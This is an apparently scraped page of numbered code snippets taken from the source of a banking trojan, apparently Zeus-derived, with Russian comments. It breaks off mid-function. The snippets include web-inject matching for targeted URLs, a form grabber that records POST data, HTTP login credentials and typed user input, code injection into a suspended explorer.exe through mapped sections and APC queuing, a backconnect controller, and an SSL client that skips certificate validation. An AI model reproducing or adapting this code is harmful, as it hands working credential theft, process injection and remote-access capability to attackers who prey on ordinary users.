	LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize);

	requestData->injectsCount = 0;
	requestData->injects      = NULL;

	if(list != NULL && listSize > sizeof(HttpInject::HEADER))
	{
		WORD knownFlags               = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET;
		DWORD index                   = 0;
		HttpInject::HEADER *curInject = (HttpInject::HEADER *)list;
		LPBYTE endOfList              = list + listSize;

		while(HttpInject::_isCorrectHeader(curInject))
		{
			LPSTR p          = (LPSTR)curInject; //Переменная для легокого доступа к строкам.
			LPSTR urlMask    = p + curInject->urlMask;
			DWORD matchFlags = curInject->flags &  HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;

			if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags))
			{
				//Проверяем пост-данные.
				if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true)
				{
					goto SKIP_ITEM;
				}
				if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false)
				{
					goto SKIP_ITEM;
				}


				//Все хорошо, собираем данные.
				{
					HttpGrabber::INJECTFULLDATA ifd;
#if defined WDEBUG2
					WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask);
#endif
					Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA));

					ifd.flags       = curInject->flags;
					ifd.urlMask     = Str::_CopyExA(p + curInject->urlMask, -1);
					ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1);
					

					if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE))
					{
						if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->currentConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL &&
							HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) &&
							Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1)))
						{
							Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA));
						}
						else
						{
#if defined WDEBUG0
							WDEBUG0(WDDT_ERROR, "Current configuration corrupted!");
#endif

							Mem::free(ifd.injects);
							HttpGrabber::_freeInjectFullData(&ifd);

							_freeInjectFullDataList(requestData->injects, requestData->injectsCount);
							requestData->injectsCount = 0;
							break;
						}
					}
					//Неизвестно.
					else 
					{
						HttpGrabber::_freeInjectFullData(&ifd);
#if defined WDEBUG1
						WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags);
#endif
					}
				}

SKIP_ITEM:;
			}

			//Вычисляем следующий элемент.
			curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size);
			if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break;
			index++;
		}
	}

	Mem::free(list);
	return (requestData->injectsCount > 0);
}
Exemplo n.º 24
0
int SslSocket::_recv(SOCKETDATA *sd, void *buf, int bufSize, DWORD timeout, bool *extraAvalible)
{
  //Не полученные данные с предыдушего вызова функции.
  if(sd->pendingDataSize > 0)
  {
    #if defined(WDEBUG0)
    WDEBUG0(WDDT_INFO, "Copying pending data.");
    #endif

    DWORD size = min(sd->pendingDataSize, (DWORD)bufSize);
    Mem::_copy(buf, sd->pendingData, size);
    sd->pendingDataSize -= size;

    if(sd->pendingDataSize == 0)
    {
      Mem::free(sd->pendingData);
      sd->pendingData = NULL;
    }
    else Mem::_copy(sd->pendingData, (LPBYTE)sd->pendingData + size, sd->pendingDataSize);
    *extraAvalible = (sd->extraBufferSize > 0 || sd->pendingDataSize > 0) ? true : false;
    return (int)size;
  }

  //Полчение из сокета.
  SecBufferDesc Message;
  SecBuffer     Buffers[4];
  DWORD dwReaded = 0;
  int r = SOCKET_ERROR;

  for(;;)
  {
    DWORD dwCurLen;

    //Читаем данные.
    if(sd->extraBufferSize > 0)
    {
      #if defined(WDEBUG0)
      WDEBUG0(WDDT_INFO, "Copying extra data.");
      #endif

      dwCurLen = sd->extraBufferSize;
      Mem::_copy(sd->ioBuffer, sd->extraBuffer, sd->extraBufferSize);
      Mem::free(sd->extraBuffer);
      sd->extraBuffer = NULL;
      sd->extraBufferSize = 0;
    }
    else
    {
      dwCurLen = (DWORD)WSocket::tcpRecv(sd->socket, (LPBYTE)sd->ioBuffer + dwReaded, sd->ioBufferSize - dwReaded, timeout);
      if(dwCurLen == 0 || dwCurLen == (DWORD)SOCKET_ERROR){r = (int)dwCurLen; break;}
    }

    dwReaded += dwCurLen; //Всего байт в буфере.

    //Заполняем буферы.
    Buffers[0].pvBuffer   = sd->ioBuffer;
    Buffers[0].cbBuffer   = dwReaded;
    Buffers[0].BufferType = SECBUFFER_DATA;

    for(BYTE i = 1; i < 4; i++)
    {
      Buffers[i].pvBuffer   = NULL;
      Buffers[i].cbBuffer   = 0;
      Buffers[i].BufferType = SECBUFFER_EMPTY;
    }

    Message.ulVersion = SECBUFFER_VERSION;
    Message.cBuffers  = 4;
    Message.pBuffers  = Buffers;

    //Расшифровываем данные.
    SECURITY_STATUS ss = CWA(secur32, DecryptMessage)(&sd->ch, &Message, 0, NULL);
    if(ss == SEC_E_INCOMPLETE_MESSAGE)
    {
#     if defined(WDEBUG0)
      WDEBUG0(WDDT_INFO, "SEC_E_INCOMPLETE_MESSAGE detected.");
#     endif
      continue;
    }

    //FIXME: коды SEC_I_CONTEXT_EXPIRED (не делаю по причине как и в _Close), SEC_I_RENEGOTIATE не на чем пока тестировать.
    if(ss == SEC_E_OK)
    {
      //Ищим обработанные данные.
      SecBuffer *pData  = NULL;
      SecBuffer *pExtra = NULL;
      for(BYTE i = 1; i < 4; i++)
      {
        if(pData == NULL && Buffers[i].BufferType == SECBUFFER_DATA && Buffers[i].cbBuffer > 0)pData = &Buffers[i];
        else if(pExtra == NULL && Buffers[i].BufferType == SECBUFFER_EXTRA && Buffers[i].cbBuffer > 0)pExtra = &Buffers[i];
      }

      //Копируем данные в pBuf.
      if(pData)
      {
        #if defined(WDEBUG1)
        WDEBUG1(WDDT_INFO, "SECBUFFER_DATA detected %u.", pData->cbBuffer);
        #endif
        if(pData->cbBuffer > (DWORD)bufSize)
        {
          dwCurLen = (DWORD)bufSize;
          sd->pendingDataSize = pData->cbBuffer - dwCurLen;
          if((sd->pendingData = Mem::copyEx((LPBYTE)pData->pvBuffer + dwCurLen, sd->pendingDataSize)) == NULL)break;
        }
        else dwCurLen = pData->cbBuffer;
        Mem::_copy(buf, pData->pvBuffer, dwCurLen);
      }

      //Сохраняем лишние данные.
      if(pExtra != NULL)
      {
        #if defined(WDEBUG1)
        WDEBUG1(WDDT_INFO, "SECBUFFER_EXTRA detected %u.", pExtra->cbBuffer);
        #endif

        if((sd->extraBuffer = Mem::copyEx((LPBYTE)sd->ioBuffer + dwReaded - pExtra->cbBuffer, pExtra->cbBuffer)) == NULL)break;
        sd->extraBufferSize = pExtra->cbBuffer;

        /*
          Sometimes an application will read data from the remote party, attempt to decrypt it by
          using DecryptMessage (Schannel), and discover that DecryptMessage (Schannel) succeeded
          but the output buffers are empty. This is normal behavior, and applications must be able
          to deal with it.

          Видемо оно.
        */
        if(pData == NULL)continue;
      }

      if(pData)r = (int)dwCurLen;
    }
    break;
  }

  *extraAvalible = (sd->extraBufferSize > 0 || sd->pendingDataSize > 0) ? true : false;
  return r;
}
Exemplo n.º 25
0
void* CoreInject::_copyModuleToExplorer(void *image)
{
#if defined _WIN64
  PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#else
  PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#endif
  typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG);
  typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG);

  CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection);
  CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread);
  CSTR_GETW(slashexplorerdotexe, explorer_exe);

  tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection);
  tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread);
  WCHAR path[MAX_PATH];
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1);
  WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path);
  DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage;
  bool ok         = false;
  DWORD viewSize = imageSize;
  void* remoteMem = 0;

  if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL;
  
  //Выделние памяти для модуля.
 
  STARTUPINFOW st; PROCESS_INFORMATION pi;
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}
  HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL);
  
  if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;}
  
  CWA(kernel32,TerminateProcess)(pi.hProcess,0);
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}

  //Verjacrinq, uxxum enq koder@ u bacum noric
  if(remoteMem != NULL)
  {
    //Создаем локальный буфер, в котором будем вносить измненеия.
	LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0);
	if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;}
	Mem::_copy(buf, image, imageSize);
    if(buf != NULL)
    {
      //Изменяем релоки.
      IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      
      if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0)
      {
        DWORD_PTR delta               = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase);
        DWORD_PTR oldDelta            = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase);
        IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress);
      
        while(relHdr->VirtualAddress != 0)
        {
          if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это?
          {
            DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION));
            
            for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0)
            {
              DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i]))));
              *p -= oldDelta;
              *p += delta;
            }
          }
          
          relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock);
        }


        //Копируем образ в процесс.
        //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false;
		
		{
		

			//Указываем текущий модуль.
			if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE)))
			{
			WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current.");
			
			}
			{
				HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId);
				HANDLE newMutex;
				if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE)
				{
					WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process.");
				}
			}
			DWORD proccessFlags = 0;
			proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK);
			if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD)))
			{
			  WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags.");
			}

			  //coreData.globalHandles.stopEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent.");
			}

			//coreData.globalHandles.stopedEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent.");
			}

		}

		if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;}
		if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);};
		CWA(kernel32,ResumeThread)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hProcess);

	  }
      
      CWA(kernel32,UnmapViewOfFile)(buf);
	  CWA(kernel32,CloseHandle)(hFile);
    }
    
    if(!ok)
    {
      remoteMem = NULL;
    }
  }

  return remoteMem;
}
Exemplo n.º 26
0
/*
  Поток для для создания контроля бэконектов.

  Return - 0.
*/
static DWORD WINAPI proc(void *)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_BACKCONNECT_CONTROL, MalwareTools::KON_GLOBAL);
  if(mutex == NULL)
  {
    WDEBUG0(WDDT_ERROR, "Failed");
    return 1;
  }
  
  CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_IDLE);

  WDEBUG0(WDDT_INFO, "Started.");
#if(BO_DEBUG > 0)
  if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 1000) == WAIT_TIMEOUT)
#else
  if(Core::isActive())while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 60 * 1000) == WAIT_TIMEOUT)
#endif
  {
    BinStorage::STORAGE *config = LocalConfig::getCurrent();
    if(config != NULL)
    {
      DWORD itemListSize;
      LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(config, LocalConfig::ITEM_BACKCONNECT_LIST, BinStorage::ITEMF_IS_SETTING, &itemListSize);
        
      if(itemList != NULL && isValidList(itemList, itemListSize))
      {
        LPSTR curItem = itemList;
        do
        {
          LPSTR curServicePort = curItem;
          LPSTR curServer      = Str::_multiStringGetIndexA(curItem, 1);
          LPSTR curServerPort  = Str::_multiStringGetIndexA(curItem, 2);

          //Генерируем мютекс.
          HANDLE bcMutex = NULL;
          {
            DWORD nameParts[3];
            nameParts[0] = Crypt::crc32Hash(curServicePort, Str::_LengthA(curServicePort));
            nameParts[1] = Crypt::crc32Hash(curServer, Str::_LengthA(curServer));
            nameParts[2] = Crypt::crc32Hash(curServerPort, Str::_LengthA(curServerPort));

            WCHAR mutexName[7 + 3 * 8 + 1];
            if(Str::_sprintfW(mutexName, sizeof(mutexName) / sizeof(WCHAR), L"Global\\%08X%08X%08X", nameParts[0], nameParts[1], nameParts[2]) == sizeof(mutexName) / sizeof(WCHAR) - 1)
            {
              WDEBUG1(WDDT_INFO, "mutexName=[%s]", mutexName);
              bcMutex = Sync::_createUniqueMutex(&coreData.securityAttributes.saAllowAll, mutexName);
            }
          }

          //Создаем дочерный поток.
          if(bcMutex != NULL)
          {
            BCDATA *bcData = (BCDATA *)Mem::alloc(sizeof(BCDATA));
            if(bcData != NULL)
            {
              bcData->servicePort = Str::_CopyExA(curServicePort, -1);
              bcData->server      = Str::_CopyExA(curServer, -1);
              bcData->serverPort  = Str::_CopyExA(curServerPort, -1);
              bcData->mutex       = bcMutex;

              if(bcData->servicePort != NULL && bcData->server != NULL && bcData->serverPort != NULL)
              {
                if(Process::_createThread(512 * 1024, procConnection, bcData) > 0)continue;
              }

              Mem::free(bcData->servicePort);
              Mem::free(bcData->server);
              Mem::free(bcData->serverPort);
              Mem::free(bcData);
            }
            Sync::_freeMutex(bcMutex);
          }
        }
        while((curItem = Str::_multiStringGetIndexA(curItem, 3)) != NULL);
      }

      Mem::free(itemList);
      Mem::free(config);
    }
  }  
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  Sync::_freeMutex(mutex);

  return 0;
}
Exemplo n.º 27
0
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData)
{
#if defined WDEBUG6
  WDEBUG6(WDDT_INFO,
          "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].",
          requestData->handle,
          requestData->url,
          requestData->referer,
          requestData->contentType,
          requestData->verb,
          requestData->postDataSize
         );
#endif

  DWORD retVal = 0;
  signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/;

  //Проверяем на блокировку.
  CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs);
  if(blockInjectInfo.blockOnUrl != NULL && blockInjectInfo.urlMaskForBlock != NULL && _matchUrlA(blockInjectInfo.blockOnUrl, requestData->url, requestData->urlSize, 0))
  {
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Detected blocking url [%S] for current url.", blockInjectInfo.blockOnUrl);
#   endif    

    //Нельзя юзать requestData->localConfig т.к. она открта только для чтения.
    BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite();
    if(localConfig != NULL)
    {
      if(_addUrlMaskToList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, &localConfig, blockInjectInfo.urlMaskForBlock))
      {
        LocalConfig::endReadWrite(localConfig);
      }
      else
      {
        Mem::free(localConfig);
        LocalConfig::endReadWrite(NULL);
      }
    }
    
    Mem::free(blockInjectInfo.urlMaskForBlock);
    Mem::free(blockInjectInfo.blockOnUrl);
    blockInjectInfo.urlMaskForBlock = NULL;
    blockInjectInfo.blockOnUrl      = NULL;
  }
  CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs);
  
  //Проверяем запрос по фильтру.
  if(requestData->dynamicConfig != NULL)
  {
    DWORD httpFilterSize;
    LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize);

    if(Str::_isValidMultiStringA(httpFilter, httpFilterSize))
    {      
      LPSTR curFilter = httpFilter;
      do if(curFilter[1] != 0)
      { 
        //Опеределяем тип фильтра.
        char filterType;
        switch(curFilter[0])
        {
          case '!': filterType = 1; break; //Не писать в отчет,
          case '@': filterType = 2; break; //Скриншот.
          case '-': filterType = 3; break; //Сохранение всех куков связаных с URL, и блокировка доступа.
          case '^': filterType = 4; break; //Блокировка доступа.
          default:  filterType = 0; break; //Принудительно писать в отчет.
        }
        if(filterType != 0)curFilter++;

        //Сравниваем URL.
        if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0))
        {
#         if defined WDEBUG3
          WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType);
#         endif

          switch(filterType)
          {
            case 0:
            {
              writeReport = 0;
              break;
            }
            
            case 1:
            {
              writeReport = 1;
              break;
            }
            
            case 2:
            {
              char host[260];
              URL_COMPONENTSA uc;

              Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
              uc.dwStructSize     = sizeof(URL_COMPONENTSA);
              uc.lpszHostName     = host;
              uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

              if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
              {
                UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host);
              }
              break;
            }

            case 3:
            {
              //FIXME: saveSessionCookies(requestData->url);
              //НЕ НАДА ТУТ break!
            }
            
            case 4:
            {
              retVal      |= ANALIZEFLAG_URL_BLOCKED;
              writeReport  = 1;
              break;
            }
          }

          if(filterType != 2)break; //В случаи с скриншотом, продолжаем поиск.
        }
      }
      while((curFilter = Str::_multiStringGetIndexA(curFilter, 1)));      
    }

    Mem::free(httpFilter);
  }

  //Если URL, пока не является заблакируемой. Пытаемся ее заблокировать.
  if((retVal & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) == 0 && requestData->localConfig != NULL)
  {
    if(_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKED, requestData->localConfig, requestData->url, requestData->urlSize, 0))
    {
      //FIXME: check, this URL founded in blacklist.
      retVal |= HttpGrabber::ANALIZEFLAG_URL_BLOCKED;
    }
  }

  //Проверяем тип содержимого.
  if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1))
  {
    CSTR_GETA(formUrlEncoded, httpgrabber_urlencoded);
    if(
        Mem::_compare(requestData->contentType, formUrlEncoded, (CryptedStrings::len_httpgrabber_urlencoded - 1)) == 0 &&
        (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0)
       )retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED;
  }

  //Проверяем наличие HTTP-авторизации.
  LPWSTR authorizationData  = NULL;
  int authorizationDataSize = 0;
  if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_normal);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password);
  }
  else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_encoded);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType);
  }

  //Проверяем хэш  HTTP-авторизации.
  if(authorizationDataSize > 0)
  {
    DWORD hash = Crypt::crc32Hash(authorizationData, authorizationDataSize * sizeof(WCHAR));
    if(lastHttpAuthorizationHash == hash)
    {
      Mem::free(authorizationData);
      authorizationData = NULL;
    }
    else
    {
      lastHttpAuthorizationHash = hash;
      retVal                   |= ANALIZEFLAG_AUTHORIZATION;
    }
  }

  //Опеределям нужно ли писать отчет.  
  {    
    if(writeReport == -1)
    {
      if((requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)retVal |= ANALIZEFLAG_SAVED_REPORT;
    }
    else if(writeReport == 1)retVal |= ANALIZEFLAG_SAVED_REPORT;
  }
  
  //Пишим отчет
  if(retVal & ANALIZEFLAG_SAVED_REPORT)
  {
    LPSTR postData = NULL;
    bool ok = false;
    
    //Форматируем POST-запрос.
    if(requestData->postDataSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_empty);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_empty - 1);
    }
    else if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED)
    {
      if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL)
      {
        for(DWORD i = 0; i < requestData->postDataSize; i++)
        {
          if(postData[i] == '&')postData[i] = '\n';
          else if(postData[i] == '+')postData[i] = ' ';
        }
      }
    }
    else if(requestData->contentTypeSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_unknown);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_unknown - 1);
    }
  
    //Формируем отчет.
    if(postData != NULL)
    {
      LPWSTR userInput;
      UserHook::getInput(&userInput);
      
      LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize);

      if(urlUnicode != NULL)
      {
        URL_COMPONENTSA uc;

        Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
        uc.dwStructSize = sizeof(URL_COMPONENTSA);

        if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE)
        {
          //Пишим.
          CSTR_GETW(reportFormat, httpgrabber_report_format);
          CSTR_GETW(reportBlocked, httpgrabber_report_blocked);
		  char* buf = (char*)Mem::alloc(lstrlenA(postData) + 256);
		  wsprintfA( buf, "referer: %s, user input: %s, authorization data: %s, post data: %s",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         (char*)(userInput == NULL ? L"" : userInput),
                                         (char*)(authorizationData == NULL ? L"" : authorizationData),
                                         postData);
		  WriteGrabberData( requestData->url, (LPBYTE)buf, -1 );
		  Mem::free(buf);
		  /*
          ok = Report::writeStringFormat(uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST,
                                         urlUnicode,
                                         NULL,
                                         reportFormat,
                                         urlUnicode,
                                         retVal & ANALIZEFLAG_URL_BLOCKED ? reportBlocked : L"",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         userInput == NULL ? L"" : userInput,
                                         authorizationData == NULL ? L"" : authorizationData,
                                         postData);
		  */
		}
        Mem::free(urlUnicode);
      }

      Mem::free(userInput);
      Mem::free(postData);
    }

    if(ok == false)retVal &= ~ANALIZEFLAG_SAVED_REPORT;
  }
  
  Mem::free(authorizationData);
    
  //Если URL оказалась заблокирована, применять следущие флаги нет смысла.
  if(retVal & ANALIZEFLAG_URL_BLOCKED)
  {
#   if defined WDEBUG0
    WDEBUG0(WDDT_INFO, "Current url blocked.");
#   endif    
    
    goto END;
  }

  //Проверка на инжекты и фейки.
  if(checkRequestForInject(requestData))
  {
    retVal |= ANALIZEFLAG_URL_INJECT;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount);
#   endif
  }

  //Проверка на замену POST-данных.
  if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED && replacePostData(requestData))
  {
    retVal |= ANALIZEFLAG_POSTDATA_REPLACED;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "POST-data replaced [%S].", requestData->postData);
#   endif
  }

END: 
  return retVal;
}
Exemplo n.º 28
0
/*bool SslSocket::_startServerEncryption(SOCKET socket, SERVERDATA *sd, DWORD enabledProtocols, DWORD timeout)
{
  AcceptSecurityContext(&sd->credHandle, NULL, );


}
*/
bool SslSocket::_startClientEncryption(SOCKET socket, LPWSTR serverName, SOCKETDATA *sd, DWORD enabledProtocols, DWORD timeout)
{
  bool ok = false;
  Mem::_zero(sd, sizeof(SOCKETDATA));

  //Инициализация.
  {
    SCHANNEL_CRED sc;

    sc.dwVersion               = SCHANNEL_CRED_VERSION;
    sc.cCreds                  = 0;
    sc.paCred                  = NULL;
    sc.hRootStore              = NULL;
    sc.cMappers                = 0;
    sc.aphMappers              = NULL;
    sc.cSupportedAlgs          = 0;
    sc.palgSupportedAlgs       = NULL;
    sc.grbitEnabledProtocols   = enabledProtocols;
    sc.dwMinimumCipherStrength = 0;
    sc.dwMaximumCipherStrength = 0;
    sc.dwSessionLifespan       = (MAXDWORD - 1);
    sc.dwFlags                 = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_NO_SERVERNAME_CHECK;
    sc.dwCredFormat            = 0;

    if(CWA(secur32, AcquireCredentialsHandleW)(NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL, &sc, NULL, NULL, &sd->sh, NULL) != SEC_E_OK)return false;
  }

  DWORD dwContextAttr;
  SecBufferDesc OutBuffer;
  SecBuffer OutBuffers[1];

  OutBuffers[0].pvBuffer   = NULL;
  OutBuffers[0].BufferType = SECBUFFER_TOKEN;
  OutBuffers[0].cbBuffer   = 0;

  OutBuffer.cBuffers  = 1;
  OutBuffer.pBuffers  = OutBuffers;
